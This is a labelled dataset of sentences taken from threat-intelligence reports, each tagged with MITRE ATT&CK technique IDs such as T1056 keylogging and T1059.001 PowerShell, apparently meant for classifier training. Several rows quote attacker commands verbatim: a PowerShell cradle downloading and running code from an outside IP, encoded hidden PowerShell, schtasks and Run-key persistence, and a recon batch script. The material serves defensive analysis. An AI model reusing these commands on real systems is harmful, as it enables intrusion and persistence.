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The same situation applies to authentication by key pair – the server contains a pre-defined constant public key and it allows authentication only if a particular private key is used | ['T1056'] |
The keylogger then records keystrokes in encrypted files, for example: thumbcache_96.dbx | ['T1056'] |
NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers | ['T1056'] |
It is commonly sold on various hacking forums as a keylogger and stealer that can be used to monitor systems and exfiltrate information from those systems | ['T1056'] |
Deobfuscated, we can see it is the HawkEye Keylogger — Reborn v9, Version=9.0.1.6 | ['T1056'] |
8 Upload the TPX498.dat file, which contains the list of collected keystrokes | ['T1056'] |
63 64 ku64.dll ku32.dll Keylogger & clipboard monitor | ['T1056'] |
keylogger) may be missing for these platforms | ['T1056'] |
However, the campaign that the PDC has recently observed has been delivering this keylogger exclusively | ['T1056'] |
There does appear to be function names however, including PeekMessageA, which has been previously observed in other keylogging malware | ['T1056'] |
Keylogging Functionality XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them | ['T1056'] |
This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes | ['T1056'] |
Figure 1 Side-by-side of the lure images within ThreeDollars in the October 2017 and the January 2018 attacks Superficially, we can immediately see the images are quite similar, but with some glaring differences | ['T1574.002'] |
The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past | ['T1574.002'] |
DLL side loading is often used to maintain persistence on the compromised system | ['T1574.002'] |
Note: DLL side loading is a prevalent persistence technique that is used to launch a multitude of backdoors | ['T1574.002'] |
Send exfiltrated data taskkill.exe Ends working cycle of modules Persistence Persistence modules are based on scheduled tasks and system registry | ['T1053', 'T1053.005'] |
For newer operating systems, events.exe creates task.xml as follows: Then it creates a Windows scheduled task using the following command: schtasks.exe /create /TN \"Events\\CacheTask_<user_name_here>" /XML \"<event_cache_dir_path>t /F" At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager | ['T1053', 'T1053.005'] |
In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task | ['T1053', 'T1053.005'] |
After execution of every task, the malware sleeps for one minute before executing the next task | ['T1053', 'T1053.005'] |
The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server | ['T1053', 'T1053.005'] |
The decoded string from the Sch resource is: SchTasks /Create /SC MINUTE /MO 3 /TN “%n%” /TR “wscript %path%” /f The decoded string from the VBS resource is: CreateObject(“WScript.Shell”).Run(“%app%”) The %n% string in the schtasks command above will be replaced with the GUID saved to GDI.bin | ['T1053', 'T1053.005'] |
This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task | ['T1053', 'T1053.005'] |
After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server | ['T1053', 'T1053.005'] |
A scheduled task is also generated to maintain persistence of the payload | ['T1053', 'T1053.005'] |
Office365DCOMCheck or SystemDiskClean) as the name for the scheduled task to maintain persistence on the victim host | ['T1053', 'T1053.005'] |
The malware component, test.exe, uses the Windows command "cmd.exe" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task: schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System" When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913 | ['T1053', 'T1053.005'] |
This DLL is used to create a scheduled task that points to the QuasarRAT binary, microsoft_network.exe, allowing it to remain persistent after reboot | ['T1053', 'T1053.005'] |
They use At.exe to schedule tasks to run self-extracting RAR archives, which install either HttpBrowser or PlugX | ['T1053', 'T1053.005'] |
Another batch script run by a scheduled task renames the archives on the file server (see Figure 15) | ['T1053', 'T1053.005'] |
The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT | ['T1053', 'T1053.005'] |
The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. | ['T1053', 'T1053.005'] |
When the trojan starts up it will attempt to install a scheduled task with the name of “Java Maintenance64” to keep itself running. | ['T1053', 'T1053.005'] |
The campaigns maintain persistence on machines by creating two daily scheduled task entries. | ['T1053', 'T1053.005'] |
The script writes files to the path % appdata %\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily. | ['T1053', 'T1053.005'] |
On occasions, the phishing emails contained links to external domains to download the first stage, and sometimes the first stage was attached to the email itself | ['T1598.003'] |
These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files | ['T1598.003'] |
The first link was labeled as "Comparison of Major Tasks in '16 & '17" and the second link was identified as "Comparison between '16 & '17".Upon opening these links the user was presented with a further decoy Hangul document | ['T1598.003'] |
It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism | ['T1598.003'] |
email with an embedded tracking link | ['T1598.003'] |
A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk | ['T1027.001'] |
Using this example, Comnie will then request data to supply to the BAT script, via the following decrypted request: h=HOSTNAME-PC&f=gethostinfo.bat&c=& Based on network traffic witnessed, the remote C2 server was found to respond with the following information: netstat -ano > %TEMP%\info.datipconfig /all >> %TEMP%\info.datroute PRINT >> %TEMP%\info.datnet view >> %TEMP%\info.dattasklist >> %TEMP%\info.datnet user >> %TEMP%\info.datnet start >> %TEMP%\info.dat This script is written to a temporary file prior to be executed | ['T1007'] |
The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden | ['T1564.001'] |
The locations: For root user path: /Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/ processname: screenassistantd For regular user path: ~/Library/Spelling/ processname: spellagentd Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file | ['T1564.001'] |
This field contains a URL that the Trojan will use to upload the contents of the <process ID of Trojan>.txt file, which will be structured as <process ID of Trojan>.<C2 domain> where the process ID is encoded with the same character substitution function as seen previously in Table 4 | ['T1057'] |
The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes | ['T1057'] |
Gather domain and account names based on all running processes Gathering account information from running processes | ['T1057'] |
Figure 2: Process chain for the first part of the campaign Although the actual VBS script changed from sample to sample, with different levels of obfuscation and different ways of invoking the next stage of process tree, its final purpose remained same: invoking PowerShell to decode the Base64 encoded PowerShell command in the INI file that was dropped earlier by the macro, and executing it | ['T1057'] |
It searches the active process list for the systemd process | ['T1057'] |
Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted | ['T1057'] |
This directory will also contain the process id of the running malware in process.id and a “build name” (as it is called by the author) in build.id | ['T1057'] |
Enumerates running processes for “Wireshark” and “Sysinternals” | ['T1057'] |
What does the Poseidon Group do? What happens after a target machine is infected? Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services | ['T1057'] |
78 runin.bin List of processes names and associated plugins should be run inside these processes | ['T1057'] |
The command does not attempt to kill the specific Office process that would load the particular delivery document, such as Excel in the case of this “.xlam” file, but instead attempts to kill processes associated with Word, Excel, PowerPoint and Publisher | ['T1057'] |
While it includes multiple ways to find Explorer, the preferred method is to get the process id from the current desktop window. | ['T1057'] |
As part of the anti-debugging or anti-monitoring techniques, ShellTea iterates over all the running processes, applies CRC32 on each process name (after converting the string to capital letters), and then compares the value against a predefined set of CRCs. | ['T1057'] |
lists the running processes | ['T1057'] |
The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value: \”id\”:(.*) The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the <process ID of Trojan>.txt file | ['T1070.006'] |
The Trojan uses the access token to write the string above to the first file uploaded to Google drive whose filename is <process ID of Trojan>.txt | ['T1134'] |
The tokens for each platform are hardcoded within the sample:November 2016 to January 2017: "Evil New Year" CampaignIn the early part of 2017, Group123 started the "Evil New Year" campaign | ['T1134'] |
Figure 6 Relational diagram of artifacts We created a timeline of the activity based off the data we collected, and found that the attack dates were tightly clustered into two waves in mid- to late-October and in mid-November as we see in Figure 7 using the timestamps from Table 3 | ['T1562.001'] |
Ability to disable Microsoft Office Protected View (as shown in Figure 15) by setting the following keys in the Windows Registry: DisableAttachmentsInPV DisableInternetFilesInPV DisableUnsafeLocationsInPV Figure 15: Disabling Microsoft Office Protected View Ability to remotely reboot or shut down or clean the system based on the command received from the C2 server, as shown in Figure 16 | ['T1562.001'] |
From an infrastructure point of view there is no overlap between the two sets of activity, the only overlap is the use of the unique tool “DNSMessenger” When these points are considered together in conjunction with the significant difference in targeting they make a strong case for classifying this activity as distinct from FIN7 activity | ['T1562.001'] |
SHA256 Compiled C2 account POP3S Account SMTPS Accounts 861b6bc1f9. | ['T1087'] |
Restricting these privileges may prevent malware from running or limit its capability to spread through the network.Carefully consider the risks before granting administrative rights to users on their own machines.Scrub and verify all administrator accounts regularly.Configure Group Policy to restrict all users to only one login session, where possible.Enforce secure network authentication, where possible.Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail.Segment networks into logical enclaves and restrict host-to-host communication paths | ['T1087'] |
This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data | ['T1087'] |
With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain | ['T1087'] |
The PowerShell script collects all possible information on the user and the network, including snapshots, computer and user names, emails from registry, tasks in task scheduler, system information, AVs registered in the system, privileges, domain and workgroup information | ['T1087'] |
Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory | ['T1546.013', 'T1059.001'] |
Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015 | ['T1546.013', 'T1059.001'] |
Figure 2: WindowsParentalControlsMigration CommandLineTemplate Figure 3 contains the decoded PowerShell command from the “CommandLineTemplate.” Figure 3: Decoded CommandLineTemplate PowerShell code POSHSPY PowerShell Component The full code for a POSHSPY sample is available here | ['T1546.013', 'T1059.001'] |
Additional Reading This PowerShell logging blog post contains more information on improving PowerShell visibility in your environment | ['T1546.013', 'T1059.001'] |
However, in this new variant, all the DNS activity is initiated and executed solely from memory – unlike previous attacks which used PowerShell commands | ['T1546.013', 'T1059.001'] |
The PowerShell script executes a compressed first stage PowerShell child process, which then performs a second stage PowerShell process | ['T1546.013', 'T1059.001'] |
The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server | ['T1546.013', 'T1059.001'] |
(For more on steganography, see the McAfee Labs Threats Report, June 2017, page 33.) The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed | ['T1546.013', 'T1059.001'] |
The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line: powershell.exe -exec Bypass -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\\ProgramData\\WindowsDefender.ini) The rest of the malicious activities are performed by the PowerShell Script | ['T1546.013', 'T1059.001'] |
PowerShell File Analysis The PowerShell script employs several layers of obfuscation to hide its actual functionality | ['T1546.013', 'T1059.001'] |
Figure 11: PowerShell script is XOR encoded using a single byte key After deobfuscating the contents of the PowerShell Script, we can divide it into three sections | ['T1546.013', 'T1059.001'] |
The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server | ['T1546.013', 'T1059.001'] |
The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques | ['T1546.013', 'T1059.001'] |
On January 1, 2017, we observed this URL responding to the above HTTP request with the following data:powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF..snip..As you can see, the C2 server responds with a PowerShell command that will run on the system | ['T1546.013', 'T1059.001'] |
Upon execution in a vulnerable environment, the PowerShell based payload takes over | ['T1546.013', 'T1059.001'] |
The PowerShell script is responsible for downloading the final payload from C2 server to execute it | ['T1546.013', 'T1059.001'] |
Use of the non-public PowerShell backdoor previously described by Morphisec and MalwareBytes (which we refer to as POWERSTATS) | ['T1546.013', 'T1059.001'] |
Attacker deception and attribution The deobfuscated PowerShell code used by the MuddyWater group resembles previously seen PowerShell scripts that most likely served as prototypes | ['T1546.013', 'T1059.001'] |
Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO | ['T1546.013', 'T1059.001'] |
These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities. hUpdateCheckers.ps1 (POWRUNER) The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server | ['T1546.013', 'T1059.001'] |
The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d) contains the following formula that Excel will save to the “A0” cell in the worksheet: The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1 | ['T1546.013', 'T1059.001'] |
The decompressed PowerShell payload has some similarities to the PowerShell Empire agent, such as the use of a jitter value and commands referred to by job ID, but we do not have conclusive evidence that the author of this tool used Empire as a basis for their tool | ['T1546.013', 'T1059.001'] |
It will run the newly downloaded PowerShell script by running the following command via cmd /c: wscript.exe "Office365DCOMCheck.vbs" "PowerShell.exe-ExecutionPolicy bypass -WindowStyle hidden -NoProfile <path to Office365DCOMCheck.ps1 script>" The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload | ['T1546.013', 'T1059.001'] |
The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops | ['T1546.013', 'T1059.001'] |
The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102: C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -Whidden $e=(New-ObjectSystem.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');powershell -enc $e # The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET | ['T1546.013', 'T1059.001'] |
Then, it will launch Dec.exe using PowerShell with the command “ cmd.exe /c powershell - WindowStyle Hidden Start-Process Dec.exe - WindowStyle maximized ”. | ['T1546.013', 'T1059.001'] |
The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell | ['T1546.013', 'T1059.001'] |
Next, the script triggered a PowerShell stager | ['T1546.013', 'T1059.001'] |
Following successful infiltration, the malware persists through registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run The command line execution leads to PowerShell code executed from a different registry value . | ['T1546.013', 'T1059.001'] |
PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C& Cs. | ['T1546.013', 'T1059.001'] |
The script is used to decode and execute the following payloads:Appach01.jpg (renamed: Windows-KB275122-x86.exe) is a Freenki sample.Appach01.jpg (renamed: Windows-KB271854-x86.exe) is a PoohMilk sample.PoohMilk AnalysisThe PoohMilk sample is designed to perform two actions:Create persistence to execute the Freenki sample at the next reboot.Check specific files on the infected machine.The first action is to create a registry key in order to execute the Windows-KB275122-x86.exe file previously downloaded | ['T1106'] |